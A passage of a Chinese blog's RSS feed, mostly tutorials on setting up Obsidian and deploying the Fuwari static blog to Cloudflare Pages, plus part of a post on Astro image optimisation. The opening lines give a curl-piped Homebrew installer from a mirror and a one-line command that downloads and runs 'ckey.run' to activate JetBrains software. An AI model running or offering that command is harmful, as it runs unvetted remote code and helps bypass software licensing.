&lt;p&gt;安装Brew类似Debian Linux的apt高级软件包管理器。安装完毕后即可用 &lt;code&gt;brew install python&lt;/code&gt; 来安装各个软件包了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/bin/zsh -c &quot;$(curl -fsSL https://gitee.com/cunkai/HomebrewCN/raw/master/Homebrew.sh)&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Mac默认的Python3.9太老了使用brew可以安装最新版的Python但是并不会替换环境变量需要使用Brew的链接命令替换默认环境变量。之后重启终端即可
&lt;em&gt;在正规开发环境应当使用Anaconda或者Poetry等版本控制/虚拟环境软件来管理盲目升级Python版本可能会造成一些系统问题&lt;/em&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;brew link python@3.13 --force
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;JB系列软件一件激活&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -L -o ckey.run ckey.run &amp;amp;&amp;amp; bash ckey.run
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;未完待续...&lt;/h1&gt;
&lt;p&gt;我写不动了,&lt;/p&gt;
&lt;p&gt;&lt;em&gt;2025/09/30 11:28&lt;/em&gt; 第一次修订&lt;/p&gt;
&lt;p&gt;&lt;em&gt;2025/09/30 11:44&lt;/em&gt; 第2次修订。黑曜石的单次换行Fuwari不认需要手动多加一次换行不然全拼一行去了.&lt;/p&gt;
</content:encoded></item><item><title>现代易上手高效且社区支持的超高校级的MarkDown编辑器</title><link>https://blog.acofork.com/posts/obsidian/</link><guid isPermaLink="true">https://blog.acofork.com/posts/obsidian/</guid><description>曾经我使用MarkText编写文章今天收到朋友推荐来尝试一下黑曜石Obsidian发现真的很好用且社区完善</description><pubDate>Wed, 17 Sep 2025 02:20:34 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;视频链接: https://www.bilibili.com/video/BV1C7pDzpEHY&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;下载&lt;/h1&gt;
&lt;p&gt;前往 &lt;a href=&quot;https://obsidian.md/download&quot;&gt;Download - Obsidian&lt;/a&gt; 下载对应你系统版本的软件。安装界面就可以选择语言为 &lt;strong&gt;简体中文&lt;/strong&gt;&lt;/p&gt;
&lt;h1&gt;初次上手&lt;/h1&gt;
&lt;p&gt;Obsidian下文简称“黑曜石”将每一个存放了多个MarkDown文件的文件夹都叫做 &lt;strong&gt;仓库&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;首先,点击左下角的 &lt;strong&gt;Obsidian Vault&lt;/strong&gt;
&lt;img src=&quot;https://blog.acofork.com/_astro/obsidian-1.CW2bRxeN.png&quot; alt=&quot;&quot; /&gt;
然后点击 &lt;strong&gt;管理仓库&lt;/strong&gt; ,然后根据你所需要的情况进行选择
&lt;img src=&quot;https://blog.acofork.com/_astro/obsidian-2.CwJ6PPDv.png&quot; alt=&quot;&quot; /&gt;
黑曜石会在每个仓库下创建 &lt;code&gt;.obsidian&lt;/code&gt; ,存放了工作区的配置信息
&lt;strong&gt;注意:&lt;/strong&gt; 黑曜石的配置都是针对于单个仓库的,若该配置文件丢失你需要重新配置黑曜石。所以,请确保写文章时不要频繁更改仓库&lt;/p&gt;
&lt;h1&gt;针对于Fuwari的图片配置&lt;/h1&gt;
&lt;p&gt;首先我们要知道几个坑点&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;黑曜石对图片默认是 &lt;strong&gt;内部链接&lt;/strong&gt; ,该链接的路径配置在私有配置文件实现,仅在黑曜石内可见&lt;/li&gt;
&lt;li&gt;黑曜石对图片默认是 &lt;strong&gt;带空格的链接&lt;/strong&gt; ,部分框架不支持转义空格导致找不到图片
首先,确保你将 &lt;code&gt;src/content&lt;/code&gt; 作为仓库根目录,因为 &lt;code&gt;src/content/posts&lt;/code&gt; 存放博客文章,而 &lt;code&gt;src/content/spec&lt;/code&gt; 存放关于等特殊MarkDown页面他们都可能需要依赖图片所以建议将仓库设置在他们的上一级文件夹。我们的图片将存放在 &lt;code&gt;src/content/assets/images&lt;/code&gt;&lt;code&gt;posts&lt;/code&gt;&lt;code&gt;spec&lt;/code&gt; 的相对路径引用格式则为 &lt;code&gt;../assets/images/xxx.png&lt;/code&gt; (不用担心,黑曜石会自动管理,你无需手打)
点击 &lt;strong&gt;设置&lt;/strong&gt;
&lt;img src=&quot;https://blog.acofork.com/_astro/obsidian-3.DCb_q6zx.png&quot; alt=&quot;&quot; /&gt;
如图配置,这样我们就解决了第一个问题
&lt;img src=&quot;https://blog.acofork.com/_astro/obsidian-4.Bs0ADcyO.png&quot; alt=&quot;&quot; /&gt;
关于第二个问题,黑曜石本身并不支持通过变量来控制图片名,我们需要借助第三方插件来实现
首先,我们需要关闭 &lt;strong&gt;安全模式&lt;/strong&gt;
依次 &lt;code&gt;设置 - 第三方插件 - 安全模式(关闭)&lt;/code&gt;
然后依次 &lt;code&gt;设置 - 第三方插件 - 社区插件市场(浏览)&lt;/code&gt;
安装 &lt;code&gt;Pasts image raname&lt;/code&gt;&lt;strong&gt;启用&lt;/strong&gt;
再次前往 &lt;strong&gt;设置&lt;/strong&gt; ,在最底下就会有一个专门配置第三方插件的配置项目
第一个 &lt;code&gt;Image name pattern&lt;/code&gt; 不用动,如果你要更改,请确保你知道自己在做什么,该配置描述已经非常详细了
第二个 &lt;code&gt;Auto rename&lt;/code&gt; ,将它打开,如果你不想每粘贴一个图片就弹出一个对话框让你输入图片名称的话
&lt;img src=&quot;https://blog.acofork.com/_astro/obsidian-5.CnN5vbcR.png&quot; alt=&quot;&quot; /&gt;
接下来,尝试使用任一截图工具,如 &lt;strong&gt;QQ截图&lt;/strong&gt; ,截图后使用 &lt;strong&gt;Ctrl+V&lt;/strong&gt; 粘贴进文章,你应当能看到类似这样的图片链接了&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;![](../assets/images/obsidian.png)
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;黑曜石如何强大?&lt;/h1&gt;
&lt;p&gt;&lt;code&gt;published&lt;/code&gt; 字段可以通过点点点实现
&lt;img src=&quot;https://blog.acofork.com/_astro/obsidian-6.BbFYUoVI.png&quot; alt=&quot;&quot; /&gt;
通用字段可以直接填充曾经写过的
&lt;img src=&quot;https://blog.acofork.com/_astro/obsidian-7.DD98tgiP.png&quot; alt=&quot;&quot; /&gt;
&lt;code&gt;tags&lt;/code&gt; 字段只需要你专注于标签,无需再手动管理格式
&lt;img src=&quot;https://blog.acofork.com/_astro/obsidian-8.CzT7WRMT.png&quot; alt=&quot;&quot; /&gt;
布尔字段通过勾选来处理 &lt;code&gt;true&lt;/code&gt;&lt;code&gt;false&lt;/code&gt;
&lt;img src=&quot;https://blog.acofork.com/_astro/obsidian-9.DK0zSjHJ.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>Fuwari静态博客搭建教程</title><link>https://blog.acofork.com/posts/fuwari/</link><guid isPermaLink="true">https://blog.acofork.com/posts/fuwari/</guid><description>Fuwari是一个静态博客框架Cloudflare Pages是一个托管静态网站的服务将他俩结合即可得到一个快速安全无需托管的高效博客</description><pubDate>Wed, 17 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h3&gt;你需要准备的东西&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;一个牛逼的脑子支持并行运算至少两个单位以上的事件。遇到问题先思考想不通就搜索搜索不到就去和AI调情不要上来就问问问&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://git-scm.com/downloads&quot;&gt;Git - Downloads (git-scm.com)&lt;/a&gt;最牛逼的版本控制器这里用于对Github进行操作当然你也可以尝试使用&lt;a href=&quot;https://github.com/apps/desktop&quot;&gt;GitHub Desktop | Simple collaboration from your desktop&lt;/a&gt; &lt;s&gt;但就我而言,这玩意更难用&lt;/s&gt; 在现在SSH克隆默认被阻断的情况下它变得好用起来了&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://nodejs.org/en&quot;&gt;Node.js — Run JavaScript Everywhere (nodejs.org)&lt;/a&gt;Fuwari基于Node.js你需要安装这个来搭建博客&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;一个&lt;a href=&quot;https://github.com&quot;&gt;Github&lt;/a&gt;账号用于创建一个代码仓库存放Fuwari文件&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;一个&lt;a href=&quot;https://cloudflare.com&quot;&gt;Cloudflare&lt;/a&gt;账号用于创建一个Pages并且绑定域名支持访问&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;/posts/obsidian/&quot;&gt;黑曜石Obsidian&lt;/a&gt;这是一个可视化MarkDown编辑器因为Fuwari的每一篇文章/页面都是MarkDown所以需要一个好用的编辑器&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;你得会用MarkDown语法来编写文章如果你不会可以参见&lt;a href=&quot;https://markdown.com.cn/basic-syntax/&quot;&gt;Markdown 基本语法 | Markdown 官方教程&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;流程图&lt;/h3&gt;
&lt;p&gt;本地部署Fuwari编写文章 -&amp;gt; 推送更改到远程Github仓库 -&amp;gt; Cloudflare Pages检测到仓库更新自动构建新的网站静态文件 -&amp;gt; 网站成功更改&lt;/p&gt;
&lt;h3&gt;让我们开搞吧!&lt;/h3&gt;
&lt;h4&gt;首先我们来本地部署Fuwari&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Fork仓库&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/saicaca/fuwari&quot;&gt;https://github.com/saicaca/fuwari&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;避免有小废物不会Fork仓库这里附上图片教程&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2024-10-14-12-15-44-image.BcknW07q.webp&quot; alt=&quot;&quot; /&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2024-10-14-12-17-03-image.D-_8XHcU.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;然后将仓库克隆到本地:&lt;code&gt;git clone &amp;lt;你的仓库URL&amp;gt;&lt;/code&gt;推荐使用SSH可以不用魔法来推送更改&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;首先全局安装pnpm&lt;code&gt;npm install -g pnpm&lt;/code&gt;如果npm国内拉取过慢请尝试cnpm&lt;a href=&quot;https://npmmirror.com/&quot;&gt;npmmirror 镜像站&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;然后在项目根目录安装依赖:&lt;code&gt;pnpm install&lt;/code&gt;&lt;code&gt;pnpm add sharp&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;至此你成功在本地部署了Fuwari&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]&lt;/p&gt;
&lt;p&gt;你也可以使用创建一个新的空仓库然后手动上传文件并且可以将仓库可见性设为Private&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4&gt;改写Fuwari的基本信息并且清理多余文件&lt;/h4&gt;
&lt;blockquote&gt;
&lt;p&gt;刚创建的Fuwari可能带有一些示例的博主名ICONURL介绍和示例文章为了让用户知道这是你的博客我们需要一一改写&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;在根目录下的 &lt;code&gt;src&lt;/code&gt; 文件夹中,你可以找到 &lt;code&gt;config.ts&lt;/code&gt; 我们来开始改写&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;title你的博客主标题&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;subtitle你的博客副标题。可选在首页会显示为“主标题 - 副标题”&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;lang博客显示语言。注释已经列出了一些常用的值en, zh_CN, zh_TW, ja, ko&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;themeColorhue值则是你的博客主题色可以在你的博客右上角的画板图标确定喜欢的颜色再填写&lt;img src=&quot;https://blog.acofork.com/_astro/2024-10-15-09-16-30-image.89mGCGyh.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;bannersrc即banner图片支持http/https URL&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;faviconsrc即网站图标支持http/https URL&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;links即友情链接这些链接在导航栏上&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;avatar即你的头像&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;name即你的名字&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;bio即个性签名会显示在头像和名字下面&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;NavBarConfig&lt;/code&gt; 为导航栏设置的超链接。&lt;code&gt;ProfileConfig&lt;/code&gt; 为你的用户的超链接,分别如图&lt;img src=&quot;https://blog.acofork.com/_astro/2024-10-15-17-49-30-image.Bgbcm3ir.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;icon你需要前往&lt;a href=&quot;https://icones.js.org/&quot;&gt;icones.js&lt;/a&gt;去搜索你想要的图标比如QQ则填写 &lt;code&gt;fa6-brands:qq&lt;/code&gt; 如图。Fuwari默认支持这几种类型&lt;code&gt;fa6-brands&lt;/code&gt;, &lt;code&gt;fa6-regular&lt;/code&gt;, &lt;code&gt;fa6-solid&lt;/code&gt;, &lt;code&gt;material-symbols&lt;/code&gt;。可以在 &lt;code&gt;astro.config.mjs&lt;/code&gt; 中搜索关键字进行配置&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/1ef05530-10fd-4301-af4e-21ddadf18605.Cgm9cqNT.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/da94494b-cc4b-4f07-ae95-8bf3b2f95d3c.CxiXlhqP.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;这里我附上我的 &lt;code&gt;config.ts&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;pre&gt;&lt;code&gt;import type {
LicenseConfig,
NavBarConfig,
ProfileConfig,
SiteConfig,
} from &apos;./types/config&apos;
import { LinkPreset } from &apos;./types/config&apos;
export const siteConfig: SiteConfig = {
title: &apos;AcoFork Blog&apos;,
subtitle: &apos;爱你所爱!&apos;,
lang: &apos;zh_CN&apos;, // &apos;en&apos;, &apos;zh_CN&apos;, &apos;zh_TW&apos;, &apos;ja&apos;, &apos;ko&apos;
themeColor: {
hue: 355, // Default hue for the theme color, from 0 to 360. e.g. red: 0, teal: 200, cyan: 250, pink: 345
fixed: false, // Hide the theme color picker for visitors
},
banner: {
enable: true,
src: &apos;https://eo-r2.2x.nz/myblog/img/222.webp&apos;, // Relative to the /src directory. Relative to the /public directory if it starts with &apos;/&apos;
position: &apos;center&apos;, // Equivalent to object-position, only supports &apos;top&apos;, &apos;center&apos;, &apos;bottom&apos;. &apos;center&apos; by default
credit: {
enable: false, // Display the credit text of the banner image
text: &apos;&apos;, // Credit text to be displayed
url: &apos;&apos; // (Optional) URL link to the original artwork or artist&apos;s page
}
},
favicon: [ // Leave this array empty to use the default favicon
{
src: &apos;https://q2.qlogo.cn/headimg_dl?dst_uin=2973517380&amp;amp;spec=5&apos;, // Path of the favicon, relative to the /public directory
//theme: &apos;light&apos;, // (Optional) Either &apos;light&apos; or &apos;dark&apos;, set only if you have different favicons for light and dark mode
sizes: &apos;128x128&apos;, // (Optional) Size of the favicon, set only if you have favicons of different sizes
}
]
}
export const navBarConfig: NavBarConfig = {
links: [
LinkPreset.Home,
LinkPreset.Archive,
LinkPreset.About,
{
name: &apos;随机图&apos;,
url: &apos;https://pic.onani.cn&apos;, // Internal links should not include the base path, as it is automatically added
external: true, // Show an external link icon and will open in a new tab
},
{
name: &apos;GitHub&apos;,
url: &apos;https://github.com/saicaca/fuwari&apos;, // Internal links should not include the base path, as it is automatically added
external: true, // Show an external link icon and will open in a new tab
},
],
}
export const profileConfig: ProfileConfig = {
avatar: &apos;https://eo-r2.2x.nz/myblog/img/111.webp&apos;, // Relative to the /src directory. Relative to the /public directory if it starts with &apos;/&apos;
name: &apos;二叉树树&apos;,
bio: &apos;Protect What You Love./爱你所爱!&apos;,
links: [
// {
// name: &apos;Twitter&apos;,
// icon: &apos;fa6-brands:twitter&apos;, // Visit https://icones.js.org/ for icon codes
// You will need to install the corresponding icon set if it&apos;s not already included
// `pnpm add @iconify-json/&amp;lt;icon-set-name&amp;gt;`
// url: &apos;https://twitter.com&apos;,
// },
// {
// name: &apos;Steam&apos;,
// icon: &apos;fa6-brands:steam&apos;,
// url: &apos;https://store.steampowered.com&apos;,
// },
{
name: &apos;GitHub&apos;,
icon: &apos;fa6-brands:github&apos;,
url: &apos;https://github.com/afoim&apos;,
},
{
name: &apos;QQ&apos;,
icon: &apos;fa6-brands:qq&apos;,
url: &apos;https://qm.qq.com/q/Uy9kmDXHYO&apos;,
},
{
name: &apos;Email&apos;,
icon: &apos;fa6-solid:envelope&apos;,
url: &apos;mailto:email@example.com&apos;,
},
],
}
export const licenseConfig: LicenseConfig = {
enable: true,
name: &apos;CC BY-NC-SA 4.0&apos;,
url: &apos;https://creativecommons.org/licenses/by-nc-sa/4.0/&apos;,
}
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;清理多余文件。在根目录下的 &lt;code&gt;src/content/posts&lt;/code&gt; 文件夹中会有一些示例文章这些文章介绍了一些MarkDown语法和技巧可以让你更快上手Fuwari和fuwari我们可以将其保存到别处&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;至此,你已经可以开始撰写文章了&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;让我们开始写作!&lt;/h4&gt;
&lt;blockquote&gt;
&lt;p&gt;推荐使用 &lt;a href=&quot;/posts/obsidian/&quot;&gt;黑曜石Obsidian&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;首先,在项目根目录执行:&lt;code&gt;pnpm new-post &amp;lt;这里填写你的文章标题&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;然后,在根目录下的 &lt;code&gt;src/content/posts&lt;/code&gt; 文件夹中会多出一个 &lt;code&gt;xxx.md&lt;/code&gt;文件&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;我们使用MarkText打开这个文件你可以看到一些基本信息我们只需要关注几个重要的信息&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;pre&gt;&lt;code&gt;title: xxx
published: 2024-10-14
description: &apos;&apos;
image: &apos;&apos;
tags: []
categories: &apos;&apos;
draft: false
lang: &apos;&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;title文章标题&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;published文章创建时间&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;description文章描述正常会显示在文章标题下面&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;image文章封面图同目录需要写 &lt;code&gt;./&lt;/code&gt; 如:&lt;code&gt;./https://eo-r2.2x.nz/myblog/img/2024-10-14-11-33-28-image.webp&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;tag文章标签&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;categories文章分类&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;我们还需要更改根目录下的 &lt;code&gt;astro.config.mjs&lt;/code&gt; 。在第34行更改 &lt;code&gt;stie:&lt;/code&gt; 为你的站点URL &lt;code&gt;site: &quot;https://onani.cn&quot;,&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;有的人就会问了MarkDown固然好但是我要如何处理图片的置入呢&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;这也很简单多亏了MarkText这款软件我们也可以像编辑Typecho一样直接使用Ctrl+CV来在MarkDown语法中置入图片但是我们需要一些小设置&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;依次点击MarkText软件的左上角的三条杠 -&amp;gt; File -&amp;gt; Perferences -&amp;gt; 左侧的Image分类 -&amp;gt; 如图设置 -&amp;gt; 注意更改第一个选项为Copy开头的选项将Perfer开关打开然后上下两个文本框一个填写绝对路径一个填写相对路径&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2024-10-14-12-54-21-image.Sa2QwMQz.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;这样,当置入图片时,会往 &lt;code&gt;https://eo-r2.2x.nz/myblog/img&lt;/code&gt; 文件夹复制一份,然后通过&lt;code&gt;![1](https://eo-r2.2x.nz/myblog/img/1.webp)&lt;/code&gt;写入MarkDown文件。这样网站就能成功读取到图片啦。而你只需要Ctrl+CV其他操作MarkText都会自动处理&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;至此你已经会用MarkText编写MarkDown语法的博文了&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;本地预览然后发布到Github&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;当你认为你的文章已经写得差不多时,想要看看效果?请到项目根目录执行:&lt;code&gt;pnpm dev&lt;/code&gt;,稍等片刻,你就可以本地预览你的博客啦&lt;img src=&quot;https://blog.acofork.com/_astro/2024-10-14-13-03-44-image.Dmm_7v6l.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;接下来我们需要使用Git将我们所做的更改发布到Github&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;首先你需要让Git知道你是谁&lt;code&gt;git config --global user.name &quot;你的Github用户名&quot;&lt;/code&gt;&lt;code&gt;git config --global user.email &quot;你的Github邮箱@example.com&quot;&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;然后更改远程仓库为ssh*如果是通过ssh克隆的不用改&lt;code&gt;git remote set-url origin git@github.com:xxx/xxx&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;随后,让我们提交所有文件:&lt;code&gt;git add .&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;之后,让我们发布一个本地提交:&lt;code&gt;git commit -m &quot;项目初始化&quot;&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;最后,让我们将本地更改提交到远程仓库:&lt;code&gt;git push&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;此时你的Github仓库应该已经有了新的提交&lt;img src=&quot;https://blog.acofork.com/_astro/2024-10-14-13-10-12-image.CwaWyveL.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;让Cloudflare连接上Github使用Pages服务展示你的博客FREE&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;前往Cloudflare的 Workers 和 Pages 页面创建一个新Pages&lt;img src=&quot;https://blog.acofork.com/_astro/2024-10-14-13-14-28-image.DKCFDsDf.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;然后选择连接Git存储库连接你的Github随后设置构建命令&lt;code&gt;pnpm build&lt;/code&gt; ,然后设置构建输出目录:&lt;code&gt;dist&lt;/code&gt; ,如图&lt;img src=&quot;https://blog.acofork.com/_astro/2024-10-14-13-16-15-image.B6ySHmV4.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;绑定自定义域,访问自定义域即可访问你的博客!&lt;img src=&quot;https://blog.acofork.com/_astro/2024-10-14-13-17-00-image.CoRcszKj.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;随后,你只需要在本地编写文章,然后&lt;a href=&quot;#%E6%9C%AC%E5%9C%B0%E9%A2%84%E8%A7%88%E7%84%B6%E5%90%8E%E5%8F%91%E5%B8%83%E5%88%B0github&quot;&gt;使用Git将更改推送到远程仓库&lt;/a&gt;Cloudflare就会自动部署更新你的博客&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>禁用Astro跟弱智一般的静态构建图像优化</title><link>https://blog.acofork.com/posts/disable-astro-generating-optimized-images/</link><guid isPermaLink="true">https://blog.acofork.com/posts/disable-astro-generating-optimized-images/</guid><description>折腾了整整一天终于解决了这傻逼Astro对于静态构建自作聪明的图片优化了这不仅能提高构建速度还可以减少无谓的CPU资源消耗更环保也更符合Unix哲学</description><pubDate>Wed, 10 Sep 2025 06:16:30 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;视频: &lt;a href=&quot;https://www.bilibili.com/video/BV12VH2z1EDb&quot;&gt;禁用Astro跟弱智一般的静态构建图像优化_哔哩哔哩_bilibili&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;为什么要禁用图片优化?&lt;/h1&gt;
&lt;p&gt;下图是一个默认的Astro静态构建也就是 &lt;code&gt;astro build&lt;/code&gt; 的输出输出中记录了每张图片是如何被Astro “优化” 的。我们不难发现问题所在:&lt;/p&gt;
&lt;p&gt;压缩效果微乎其微甚至有反向压缩。大部分图片仅压缩了几kb但是为此需要花费 &lt;strong&gt;100-1000ms&lt;/strong&gt; 不等甚至第12行出现了 &lt;code&gt;before: 26kb, after: 28kb&lt;/code&gt; 这样的反向压缩&lt;/p&gt;
&lt;p&gt;&lt;em&gt;为什么要浪费这么多的时间来进行±10kb左右的图片压缩呢&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-09-10-06-21-20-26ca667ff5c7024c12d7a8254f483b27.BB6P9OBa.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;如何让Astro不”优化“图片&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&quot;https://docs.astro.build/zh-cn/guides/images/&quot;&gt;图像 | Docs&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;查阅 Astro 文档可知&lt;/p&gt;
&lt;p&gt;会被优化的情况:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;/public&lt;/code&gt; 目录下的图片&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;使用 &lt;code&gt;&amp;lt;Image /&amp;gt;&lt;/code&gt; 等Astro图片组件&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;任何MarkDown内的图片除非你不走Astro内部的 MarkDown -&amp;gt; HTML 转换&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;不难发现,我们似乎已经找到了一个折中的解决方案: &lt;strong&gt;将图片放置到 /public 目录&lt;/strong&gt;&lt;/p&gt;
&lt;h1&gt;尝试将图片放置到 /public 目录(不完美)&lt;/h1&gt;
&lt;p&gt;这会遇到一个经典问题,这是我询问 OpenAI ChatGPT 的原话&lt;/p&gt;
&lt;p&gt;&lt;em&gt;我遇到了一个两难的问题 我使用Astro 我的文章在./src/content/posts/xxx.md 我的图片之前在./src/content/assets/images/xxx.png 由于我不想要Astro默认的图片优化因为构建太慢了于是我将图片放到了./public/assets/images/xxx.png 然后我将MarkDown引用的图片从 ../assets/images/xxx.png 改为了 ./public/assets/images/xxx.png 但是现在新的问题出现了我的MarkText一个MarkDown编辑器去寻找了 ./src/content/posts/public/assets/images/xxx.png 导致我在编辑器中看不到任何图片 有没有什么好的解决方案?&lt;/em&gt;&lt;/p&gt;
